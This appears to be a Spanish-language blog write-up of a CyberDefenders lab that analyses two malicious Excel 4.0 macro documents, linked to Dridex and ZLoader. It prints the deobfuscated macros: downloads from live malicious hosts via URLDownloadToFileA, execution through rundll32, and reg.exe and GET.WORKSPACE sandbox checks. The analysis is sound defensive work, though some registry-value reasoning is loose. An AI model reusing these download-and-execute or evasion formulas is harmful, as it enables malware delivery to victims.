Cyberdefenders – XLM Macros writeup

Recently, we have seen a resurgence of Excel-based malicous office documents. Howerver, instead of using VBA-style macros, they are using older style Excel 4 macros. This changes our approach to analyzing these documents, requiring a slightly different set of tools. In this challenge, you’ll get hands-on with two documents that use Excel 4.0 macros to perform anti-analysis and download the next stage of the attack.

Samples:

  • Sample1: MD5: fb5ed444ddc37d748639f624397cff2a
  • Sample2: MD5: b5d469a07709b5ca6fee934b1e5e8e38

Helpful Tools:

  • REMnux VM
  • XLMDeobfuscator
  • OLEDUMP with PLUGIN_BIFF
  • Office IDE

Suggested Resources:

#1 Respuesta: VelvetSweatshop

Sample1: What is the document decryption password?

Obtención de la evidencia

python msoffcrypto-crack.py sample1-fb5ed444ddc37d748639f624397cff2a.bin
Password found: VelvetSweatshop

Decodificamos el archivo binario utilizando la herramienta msoffcrypto-tool, aplicando la contraseña obtenida

msoffcrypto-tool -p VelvetSweatshop sample1-fb5ed444ddc37d748639f624397cff2a.bin sample1.bin

Más información

#2 Respuesta: SOCWNEScLLxkLhtJ

Sample1: This document contains six hidden sheets. What are their names? Provide the value of the one starting with S.

Obtención de la evidencia

Para analizar el documento malicioso, se utilizó el software olevba (versión 0.60.2), que permitió identificar la presencia de múltiples hojas ocultas en el archivo. De particular interés es la hoja con un nombre que comienza con la letra ‘S’, identificada como SOCWNEScLLxkLhtJ. Esta hoja es una hoja de macros de Excel 4.0, lo que indica su posible uso para actividades maliciosas, dado que estas hojas se utilizan comúnmente para ejecutar código automatizado en documentos maliciosos.

El análisis detallado se realizó utilizando el siguiente comando:

olevba3.py sample1.bin

Output:

===============================================================================
FILE: sample1-fb5ed444ddc37d748639f624397cff2a.bin
Type: OLE
No VBA or XLM macros found.

===============================================================================
FILE: /tmp/oletools-decrypt-pd4gg8ti.bin in sample1-fb5ed444ddc37d748639f624397cff2a.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO xlm_macro.txt 
in file: xlm_macro - OLE stream: 'xlm_macro'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
' 0085     25 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - SOCWNEScLLxkLhtJ
' 0085     25 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - OHqYbvYcqmWjJJjs
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d SOCWNEScLLxkLhtJ!A1275 
' 002a      2 PRINTHEADERS : Print Row/Column Labels

Durante la ejecución de este comando, se identificaron las siguientes hojas ocultas:

  • SOCWNEScLLxkLhtJ (Hoja de macro Excel 4.0, oculta)
  • OHqYbvYcqmWjJJjs (Hoja de macro Excel 4.0, oculta)
  • Macro (Múltiples instancias, hojas de macro Excel 4.0, ocultas)

Además, se corroboró la estructura del documento con la herramienta ExifTool, que también confirmó la existencia de estas hojas ocultas, destacando nuevamente la hoja SOCWNEScLLxkLhtJ. Esto respalda la hipótesis de que esta hoja está involucrada en la ejecución de funciones automatizadas maliciosas.

exiftool sample1-fb5ed444ddc37d748639f624397cff2a.bin 

Output:

 ExifTool Version Number : 12.57
File Name : sample1-fb5ed444ddc37d748639f624397cff2a.bin
Directory : .
File Size : 97 kB
File Modification Date/Time : 2020:07:24 04:50:18+02:00
File Access Date/Time : 2024:08:16 08:33:25+02:00
File Inode Change Date/Time : 2024:08:16 08:23:37+02:00
File Permissions : -rw-r--r--
File Type : XLS
File Type Extension : xls
MIME Type : application/vnd.ms-excel
Comp Obj User Type Len : 38
Comp Obj User Type : Microsoft Office Excel 2003 Worksheet
Author : 
Last Modified By : 
Software : Microsoft Excel
Create Date : 2020:04:01 11:48:22
Modify Date : 2020:04:02 12:21:34
Security : Password protected
Code Page : Windows Latin 1 (Western European)
App Version : 12.0000
Scale Crop : No
Links Up To Date : No
Shared Doc : No
Hyperlinks Changed : No
Title Of Parts : Sheet1, Sheet2, Sheet3, SOCWNEScLLxkLhtJp, OHqYbvYcqmWjJJjsF, Macro2, Macro3, Macro4, Macro5
Heading Pairs : Worksheets, 3, Excel 4.0 Macros, 6


La información relevante extraída con ExifTool incluye:

  • Título de las partes: Sheet1, Sheet2, Sheet3, SOCWNEScLLxkLhtJp, OHqYbvYcqmWjJJjsF, Macro2, Macro3, Macro4, Macro5

Ambos análisis confirman la presencia de la hoja SOCWNEScLLxkLhtJ como una entidad crítica que empieza por la letra «S».

#3 Respuesta: http://rilaer.com

Sample1: What URL is the malware using to download the next stage? Only include the second-level and top-level domain. For example, xyz.com.

Obtención de la evidencia

Para identificar la URL utilizada por el malware para descargar la siguiente fase, se empleó el comando oledump junto con el plugin plugin_biff.py. El análisis se centró en la extracción de cadenas de texto dentro del archivo, filtrando aquellas que contenían la palabra clave «http» mediante el comando grep.

El comando ejecutado fue:

oledump.py sample1.bin -p /opt/oledump/plugin_biff.py --pluginoptions '-x' | grep "http"

 Output:

"0207     56 STRING : String Value of a Formula - b'http://rilaer.com/IfAmGZIJjbwzvKNTxSPM/ixcxmzcvqi.exe'"
"0207     32 STRING : String Value of a Formula - b'http://rilaer.com/IfAmGZIJjbw'"
"0207     56 STRING : String Value of a Formula - b'http://rilaer.com/IfAmGZIJjbwzvKNTxSPM/ixcxmzcvqi.exe'"

Este análisis reveló la siguiente URL incrustada en el documento:

La evidencia muestra que el dominio de segundo y nivel superior al que se conecta el malware es rilaer.com, el cual es utilizado para descargar componentes adicionales del malware.

 

#4 Respuesta: Dridex

Sample1: What malware family was this document attempting to drop?

Obtención de la evidencia

Anteriormente se identificó que el dominio utilizado para descargar el malware era rilaer.com y que el archivo malicioso se denominaba ixcxmzcvqi.exe. Para determinar a qué familia de malware pertenece este archivo, se realizó una búsqueda en la base de datos de MalwareBazaar.

La consulta en MalwareBazaar confirmó que el archivo ixcxmzcvqi.exe pertenece a la familia de malware Dridex, un conocido troyano bancario utilizado para robar credenciales y realizar fraudes financieros.

 

#5 Respuesta: CSHykdYHvi

Sample2: This document has a very hidden sheet. What is the name of this sheet?

Obtención de la evidencia

Se utilizó la herramienta oledump.py junto con el plugin plugin_biff.py para investigar la existencia de hojas ocultas en el archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. El objetivo era identificar cualquier hoja marcada como «very hidden».

El análisis se llevó a cabo filtrando los resultados por el término «hidden» con el siguiente

 

oledump.py sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin -p /opt/oledump/plugin_biff.py --pluginoptions '-x' | grep hidden

Output:

0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - CSHykdYHvi
"0018     29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\\x1d'"

Como resultado, se identificó la siguiente hoja «very hidden»:

  • CSHykdYHvi (Hoja de macros de Excel 4.0, muy oculta)

Además, se encontró una cadena relacionada con una fórmula incompleta en la misma hoja, lo que sugiere la presencia de contenido malicioso o intencionalmente alterado para evadir la detección.

#6 Respuesta: VBAWarnings

Sample2: This document uses reg.exe. What registry key is it checking?

Obtención de la evidencia

Mediante el análisis del archivo Sample2 utilizando la herramienta oledump.py con el plugin plugin_biff.py, se identificó un comando específico que emplea reg.exe para interactuar con una clave de registro relacionada con la configuración de seguridad de Microsoft Excel.

oledump.py sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin -p /opt/oledump/plugin_biff.py --pluginoptions '-x'

Output:

                 '0006    200 FORMULA : Cell Formula - R727C10 len=178 ptgStr "Shell32" ptgStr "ShellExecuteA" ptgStr "JJCCCJJ" ptgInt 0 ptgStr "open" ptgStr "C:\\Windows\\system32\\reg.exe" ptgStr "EXPORT HKCU\\Software\\Microsoft\\Office\\" ptgInt 2 ptgFuncV GET.WORKSPACE (0x00ba) ptgConcat ptgStr "\\Excel\\Security c:\\users\\public\\1.reg /y" ptgConcat ptgInt 0 ptgInt 5 ptgFuncVarV args 9 func CALL (0x0096) '
                 0006     45 FORMULA : Cell Formula - R728C10 len=23 ptgAttr ptgFuncV NOW (0x004a) ptgStr "00:00:03" ptgAdd ptgFuncVarV args 1 func WAIT (0x8095) 
                 '0006     50 FORMULA : Cell Formula - R729C10 len=28 ptgStr "c:\\users\\public\\1.reg" ptgFuncVarV args 1 func FOPEN (0x0084) '
                 0006     38 FORMULA : Cell Formula - R730C10 len=16 ptgRefV R729C10 ptgAttr ptgInt 215 ptgFuncVarV args 2 func FPOS (0x008b) 
                 0006     37 FORMULA : Cell Formula - R731C10 len=15 ptgRefV R729C10 ptgAttr ptgInt 255 ptgFuncV FREAD (0x0088) 
                 '0207    131 STRING : String Value of a Formula - b\'"VBAWarnings"=dword:00000002\''
                 0006     30 FORMULA : Cell Formula - R732C10 len=8 ptgRefV R729C10 ptgFuncV FCLOSE (0x0085) 
                 '0006     50 FORMULA : Cell Formula - R733C10 len=28 ptgStr "c:\\users\\public\\1.reg" ptgFuncVarV args 1 func FILE.DELETE (0x8006) '
                 0006     71 FORMULA : Cell Formula - R734C10 len=49 ptgStr "0001" ptgRefV R731C10 ptgFuncVarV args 2 func SEARCH (0x0052) ptgFuncV ISNUMBER (0x0080) ptgAttr ptgBool FALSE ptgFuncVarV args 1 func CLOSE (0x8010) ptgAttr ptgRef R1C10 ptgFuncV GOTO (0x0035) ptgAttr ptgFuncVarV args 3 func IF (0x0001) 

Análisis Detallado

  1. Comando reg.exe:
    • El comando identificado es: "C:\\Windows\\system32\\reg.exe" EXPORT HKCU\\Software\\Microsoft\\Office\\Excel\\Security c:\\users\\public\\1.reg /y.
    • Este comando exporta la clave de registro ubicada en HKCU\Software\Microsoft\Office\Excel\Security al archivo c:\users\public\1.reg.
  2. Clave de Registro Específica:
    • Dentro de esta clave de registro, el análisis ha identificado una configuración importante bajo el nombre VBAWarnings.
  3. **Significado de VBAWarnings:
    • VBAWarnings es un valor dentro de la clave de registro que controla cómo Excel maneja las advertencias de seguridad relacionadas con la ejecución de macros VBA (Visual Basic for Applications).
    • Este valor determina si Excel muestra una advertencia al usuario cuando se intenta ejecutar un macro VBA potencialmente peligroso.
  4. **Valor dword:00000002:
    • El valor dword:00000002 en el contexto de VBAWarnings significa que Excel está configurado para deshabilitar las macros con advertencia.
    • Esto implica que si un documento contiene macros VBA, Excel alertará al usuario y ofrecerá la opción de habilitarlas o no. Sin embargo, el hecho de que esta configuración sea manipulada puede ser un intento del malware para modificar la seguridad y facilitar la ejecución de macros maliciosos sin el conocimiento del usuario.

Conclusión

El documento malicioso está verificando y exportando la clave de registro HKCU\Software\Microsoft\Office\Excel\Security y, específicamente, está interactuando con el valor VBAWarnings. Al configurar este valor en dword:00000002, el malware podría estar intentando manipular las advertencias de seguridad de Excel para facilitar la ejecución de macros maliciosos.

#7 Respuesta: 0x1

Sample2: From the use of reg.exe, what value of the assessed key indicates a sandbox environment?

Obtención de la evidencia

El análisis del documento Sample2 se realizó usando herramientas como oledump.py y XLMMacroDeobfuscator. Aquí se detalla cómo se determinó el valor que indica un entorno de sandbox:

Uso de reg.exe:

El documento contiene fórmulas en una hoja de Excel que ejecutan comandos para manipular el registro de Windows utilizando reg.exe. El comando relevante es:

0006    200 FORMULA : Cell Formula - R727C10 len=178 ptgStr "Shell32" ptgStr "ShellExecuteA" ptgStr "JJCCCJJ" ptgInt 0 ptgStr "open" ptgStr "C:\\Windows\\system32\\reg.exe" ptgStr "EXPORT HKCU\\Software\\Microsoft\\Office\\" ptgInt 2 ptgFuncV GET.WORKSPACE (0x00ba) ptgConcat ptgStr "\\Excel\\Security c:\\users\\public\\1.reg /y" ptgConcat ptgInt 0 ptgInt 5 ptgFuncVarV args 9 func CALL (0x0096)

Este comando exporta la clave de registro HKCU\Software\Microsoft\Office\Excel\Security a un archivo llamado 1.reg.

2. Análisis de la Fórmula:

El archivo 1.reg contiene una entrada específica de registro:

0207    131 STRING : String Value of a Formula - b'"VBAWarnings"=dword:00000002'

El valor dword:00000002 se encuentra bajo la clave de registro VBAWarnings.

3. Deobfuscación del Macro:

Utilizando XLMMacroDeobfuscator, el análisis reveló el siguiente comportamiento del macro:

CELL:J734      , Branching           , IF(ISNUMBER(SEARCH("0001",J731)),CLOSE(FALSE),GOTO(J1))

Output:

Unencrypted xls file

[Loading Cells]
SHRFMLA (sub): 0 0 1 8 6
SHRFMLA (sub): 9 9 1 8 8
SHRFMLA (sub): 19 19 1 7 7
SHRFMLA (sub): 26 26 0 7 8
auto_open: auto_open->'CSHykdYHvi'!$J$727
[Starting Deobfuscation]
CELL:J727      , FullEvaluation      , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security c:\users\public\1.reg /y",0,5)
CELL:J728      , PartialEvaluation   , =WAIT("45520.44706018518600:00:03")
CELL:J729      , FullEvaluation      , FOPEN("c:\users\public\1.reg",1)
CELL:J730      , PartialEvaluation   , =FPOS(FOPEN("c:\users\public\1.reg",1),215)
CELL:J732      , PartialEvaluation   , =FCLOSE(FOPEN("c:\users\public\1.reg",1))
CELL:J733      , PartialEvaluation   , =FILE.DELETE("c:\users\public\1.reg")
CELL:J734      , Branching           , IF(ISNUMBER(SEARCH("0001",J731)),CLOSE(FALSE),GOTO(J1))
CELL:J734      , FullEvaluation      , [FALSE] GOTO(J1)
CELL:J1        , FullEvaluation      , FORMULA("=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)",K2)
CELL:J2        , FullEvaluation      , FORMULA("=IF(GET.WORKSPACE(14)<381, CLOSE(FALSE),)",K4)
CELL:J4        , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(19),,CLOSE(TRUE))",K5)
CELL:J5        , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(42),,CLOSE(TRUE))",K6)
CELL:J6        , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))), ,CLOSE(TRUE))",K7)
CELL:J7        , FullEvaluation      , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://ethelenecrace.xyz/fbb3"",""c:\Users\Public\bmjn5ef.html"",0,0)",K8)
CELL:J8        , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1ALERT(""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."",2)",K9)
CELL:J9        , FullEvaluation      , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",""C:\Windows\system32\rundll32.exe"",""c:\Users\Public\bmjn5ef.html,DllRegisterServer"",0,5)",K11)
CELL:J11       , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1CLOSE(FALSE)",K12)
CELL:J12       , PartialEvaluation   , =WORKBOOK.HIDE("CSHykdYHvi",TRUE)
CELL:J13       , FullEvaluation      , GOTO(K2)
CELL:K2        , FullEvaluation      , IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)
CELL:K4        , FullEvaluation      , IF(GET.WORKSPACE(14)<381,CLOSE(FALSE),)
Error [deobfuscator.py:2586 parse_tree = self.xlm_parser.parse(formula)]: Unexpected token Token('NAME', 'FMLA') at line 1, column 9.
Expected one of: 
	* L_PRA
	* CMPOP
	* ADDITIVEOP
	* $END
	* EXCLAMATION
	* CONCATOP
	* MULTIOP
Previous tokens: [Token('NAME', 'SHARED')]

Esta fórmula busca la cadena 0001 en el archivo de registro. La función ISNUMBER verifica si el resultado de la búsqueda es un número. La presencia de 0001 (que en decimal es 1) es crucial.

Explicación Detallada

Valor de Registro Indicativo de Sandbox:

  • Clave de Registro Evaluada: La clave evaluada es HKCU\Software\Microsoft\Office\Excel\Security. El valor VBAWarnings dentro de esta clave es clave para la detección de un entorno sandbox.

  • Valor de Registro: El valor dword:00000002 en la clave VBAWarnings indica un nivel específico de advertencias de VBA configurado en la aplicación de Excel. Para entornos sandbox, es común que se configuren valores que representen comportamientos seguros o restringidos, y en este caso específico, 0001 (o 0x1 en hexadecimal) es un valor que puede indicar la presencia de un entorno sandbox.

  • Confirmación con la Fórmula: La fórmula de Excel IF(ISNUMBER(SEARCH("0001",J731)),CLOSE(FALSE),GOTO(J1)) utiliza SEARCH("0001", J731) para determinar si la cadena 0001 está presente en el archivo de registro exportado. La función ISNUMBER confirma si el resultado es un número, y en función de esto, el macro decide si cerrar la aplicación o continuar.

  • Conclusión: El análisis confirma que el valor 0x1 (001) en la clave de registro VBAWarnings se usa para indicar un entorno de sandbox. Esto se debe a que la fórmula de Excel está diseñada para buscar este valor específico y tomar decisiones basadas en su presencia, sugiriendo que este valor es usado para identificar configuraciones relacionadas con entornos de prueba o sandbox.

#8 Respuesta: GET.WORKSPACE

Sample2: This document performs several additional anti-analysis checks. What Excel 4 macro function does it use?

Obtención de la evidencia

En el análisis del documento, se identificó que la función GET.WORKSPACE se utiliza para realizar comprobaciones adicionales relacionadas con el entorno de ejecución. Este hallazgo se basa en el output obtenido en la pregunta anterior de la herramienta de análisis Utilizando XLMMacroDeobfuscator, el análisis reveló el siguiente comportamiento del macro:

que muestra el uso de la función GET.WORKSPACE en diversas fórmulas de macros Excel 4.0 (XLM).

CELL:J1        , FullEvaluation      , FORMULA("=IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)",K2)
CELL:J2        , FullEvaluation      , FORMULA("=IF(GET.WORKSPACE(14)<381,CLOSE(FALSE),)",K4)
CELL:J4        , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(19),,CLOSE(TRUE))",K5)
CELL:J5        , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(42),,CLOSE(TRUE))",K6)

 

#9 Respuesta: Windows

Sample2: This document checks for the name of the environment in which Excel is running. What value is it using to compare?

Tras realizar el análisis del documento Sample2 en la pregunta #7, pudimos identificar mediante la herramienta XLMMacroDeobfuscator varias fórmulas que emplean la función GET.WORKSPACE para realizar comprobaciones sobre el entorno de ejecución. Sin embargo, el detalle específico sobre el nombre del entorno se revela en el uso de la función SEARCH en la fórmula encontrada durante la deobfuscación:

CELL:J6: =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))

Explicación:

  1. GET.WORKSPACE(1): La función GET.WORKSPACE con el parámetro 1 se utiliza para obtener información sobre el entorno de ejecución. En este caso, GET.WORKSPACE(1) devuelve un string que contiene el nombre del entorno.
  2. SEARCH("Windows", GET.WORKSPACE(1)): La función SEARCH busca el término «Windows» en el resultado devuelto por GET.WORKSPACE(1). La función ISNUMBER se usa para verificar si «Windows» está presente en el resultado.
  3. IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE)): La fórmula completa compara el resultado de la búsqueda con el término «Windows». Si el término «Windows» se encuentra en el string obtenido de GET.WORKSPACE(1), no realiza ninguna acción adicional; de lo contrario, cierra la hoja de cálculo.

Conclusión:

El valor que el documento Sample2 utiliza para comparar es «Windows». Esto indica que la macro verifica si el entorno en el que Excel está ejecutándose contiene el término «Windows» en su información de entorno. Esta técnica se utiliza para determinar el sistema operativo o el entorno en el que se está ejecutando Excel.

#10 Respuesta: DLL 

Obtención de la Evidencia:

Para identificar el tipo de payload descargado por el documento Sample2, analizamos las fórmulas utilizadas en el macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. En particular, hemos revisado las fórmulas que invocan funciones del sistema para entender el comportamiento del archivo.

En el análisis del archivo, encontramos la siguiente línea en el output:

  • CELL:J9: =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\bmjn5ef.html,DllRegisterServer",0,5)

Explicación:

  1. Fórmula Identificada: La fórmula en la celda J9 utiliza la función CALL para ejecutar ShellExecuteA desde la biblioteca Shell32. Esta función es utilizada para ejecutar comandos del sistema operativo.
  2. Comando Ejecutado: El comando ejecutado es C:\Windows\system32\rundll32.exe, que es una utilidad de Windows para ejecutar funciones almacenadas en DLLs (Dynamic Link Libraries). El argumento adicional "c:\Users\Public\bmjn5ef.html,DllRegisterServer" indica que rundll32.exe está siendo utilizado para ejecutar una función DllRegisterServer en el archivo descargado bmjn5ef.html.
  3. Tipo de Archivo: Aunque el archivo se guarda con la extensión .html, el uso de rundll32.exe con el argumento DllRegisterServer indica que el archivo contiene una DLL (Dynamic Link Library). La función DllRegisterServer es un método estándar en las DLLs para registrar el archivo en el sistema. La extensión .html es una técnica común de evasión para ocultar el verdadero propósito del archivo, que en este caso es una DLL.

Conclusión:

Sample2: What type of payload is downloaded?

Para determinar el tipo de payload descargado por el documento Sample2, realizamos un análisis exhaustivo de las fórmulas presentes en el macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. Utilizando la herramienta XLMMacroDeobfuscator, examinamos detalladamente las fórmulas extraídas en el output de la pregunta #7. En particular, nos centramos en las fórmulas que llaman a funciones del sistema operativo para comprender el comportamiento del archivo y la naturaleza del payload descargado.

CELL:J9: =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\bmjn5ef.html,DllRegisterServer",0,5)

Explicación:

  1. Fórmula Identificada: La fórmula en la celda J9 utiliza la función CALL para ejecutar ShellExecuteA desde la biblioteca Shell32. Esta función es utilizada para ejecutar comandos del sistema operativo.
  2. Comando Ejecutado: El comando ejecutado es C:\Windows\system32\rundll32.exe, que es una utilidad de Windows para ejecutar funciones almacenadas en DLLs (Dynamic Link Libraries). El argumento adicional "c:\Users\Public\bmjn5ef.html,DllRegisterServer" indica que rundll32.exe está siendo utilizado para ejecutar una función DllRegisterServer en el archivo descargado bmjn5ef.html.
  3. Tipo de Archivo: Aunque el archivo se guarda con la extensión .html, el uso de rundll32.exe con el argumento DllRegisterServer indica que el archivo contiene una DLL (Dynamic Link Library). La función DllRegisterServer es un método estándar en las DLLs para registrar el archivo en el sistema. La extensión .html es una técnica común de evasión para ocultar el verdadero propósito del archivo, que en este caso es una DLL.

Conclusión:

El tipo de payload descargado por el documento Sample2 es DLL. Aunque el archivo se guarda con una extensión .html, la función utilizada para ejecutar el archivo y el argumento pasado a rundll32.exe indican que el contenido real es una DLL. Esta DLL es ejecutada para registrar su funcionalidad en el sistema, lo que es una técnica común en la distribución de malware para evitar la detección y el análisis.

#11 Respuesta: https://ethelenecrace.xyz/fbb3

Sample2: What URL does the malware download the payload from?

Obtención de la evidencia:

Para identificar la URL desde la cual el malware descarga el payload en el documento Sample2, analizamos el output de la herramienta XLMMacroDeobfuscator utilizada en el macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. En particular, nos enfocamos en las fórmulas que invocan funciones de descarga de archivos.

En el output proporcionado de la herramienta, encontramos la siguiente línea relevante:

CELL:J7        , FullEvaluation      , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://ethelenecrace.xyz/fbb3"",""c:\Users\Public\bmjn5ef.html"",0,0)",K8)

Esta fórmula utiliza la función URLDownloadToFileA de la biblioteca urlmon para descargar un archivo desde la URL https://ethelenecrace.xyz/fbb3 y guardarlo en el sistema de archivos local en c:\Users\Public\bmjn5ef.html. La evidencia extraída muestra claramente que la URL utilizada por el malware para descargar el payload es https://ethelenecrace.xyz/fbb3.

Conclusión:

El análisis del macro revela que el malware descarga su payload desde la URL https://ethelenecrace.xyz/fbb3. Esta información se obtuvo a partir de la fórmula de Excel que ejecuta la descarga del archivo, como se detalla en la línea de output del XLMMacroDeobfuscator.

#12 Respuesta: bmjn5ef.html

Sample2: What is the filename that the payload is saved as?

Obtención de la evidencia:

Para identificar el nombre del archivo en el que el payload es guardado por el malware en el documento Sample2, revisamos el output de la herramienta XLMMacroDeobfuscator aplicada al macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. Nos enfocamos en las fórmulas que ejecutan la descarga y almacenamiento del payload.

En el output de la herramienta, encontramos la siguiente línea clave:

CELL:J7        , FullEvaluation      , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://ethelenecrace.xyz/fbb3"",""c:\Users\Public\bmjn5ef.html"",0,0)",K8)

La fórmula CALL(«urlmon»,»URLDownloadToFileA»,»JJCCJJ»,0,»https://ethelenecrace.xyz/fbb3″,»c:\Users\Public\bmjn5ef.html»,0,0) muestra que el malware utiliza la función URLDownloadToFileA para descargar el payload desde la URL https://ethelenecrace.xyz/fbb3. El archivo descargado se guarda con el nombre bmjn5ef.html en el directorio c:\Users\Public.

Conclusión:

El nombre de archivo en el que el payload es guardado por el malware es bmjn5ef.html, según se desprende de la fórmula de descarga encontrada en el output del XLMMacroDeobfuscator.

 #13 Respuesta: rundll32.exe

Sample2: How is the payload executed? For example, mshta.exe

Obtención de la evidencia:

Para determinar cómo es ejecutado el payload en el documento Sample2, analizamos el output proporcionado por la herramienta XLMMacroDeobfuscator aplicada al archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. En particular, revisamos la fórmula que describe la ejecución del payload.

La línea clave del output es la siguiente:

CELL:J9        , FullEvaluation      , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",""C:\Windows\system32\rundll32.exe"",""c:\Users\Public\bmjn5ef.html,DllRegisterServer"",0,5)",K11)

Esta fórmula utiliza la función CALL para invocar ShellExecuteA desde la biblioteca Shell32. En el comando de ejecución, el archivo rundll32.exe ubicado en C:\Windows\system32\ se utiliza para ejecutar el payload. El payload, guardado como bmjn5ef.html, es pasado a rundll32.exe con el parámetro DllRegisterServer, lo que indica que rundll32.exe es el proceso encargado de ejecutar el payload.

Conclusión:

El payload en el documento Sample2 es ejecutado mediante el proceso rundll32.exe, según se desprende de la fórmula de ejecución encontrada en el output del XLMMacroDeobfuscator.

 

 #14 Respuesta: zloader

Sample2: What was the malware family?

Obtención de la evidencia:

Para identificar la familia del malware en el documento Sample2, inicié la búsqueda con el hash SHA-1 del archivo. El hash fue calculado utilizando el siguiente comando:

sha1sum sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin 

Output:

a6265d96a7cf33612dc5286e0e91f8ee21909d8c  sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin

Realicé una búsqueda del hash en VirusTotal, donde se identificaron varios nombres para el malware. Aunque inicialmente probé con algunos nombres sin resultados específicos, continué con un análisis más detallado.

Investigación Adicional:

Búsqueda en Google: Utilicé la URL desde la que se descarga el malware (hxxps://ethelenecrace[.]xyz/fbb3) junto con el término «malware» para realizar una búsqueda en Google. Esta búsqueda me llevó a un post en Twitter que identificaba el malware como ZLoader.

Confirmación en VirusTotal: Posteriormente, regresé a VirusTotal y encontré que TrendMicro lo clasifica como «Trojan.XF.ZLOADER.SMMR2».

Conclusión:

La investigación confirma que el malware presente en el archivo Sample2 pertenece a la familia ZLoader.

 

:wq!

 

 

 

 

 

 

 

 

 

 

 

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *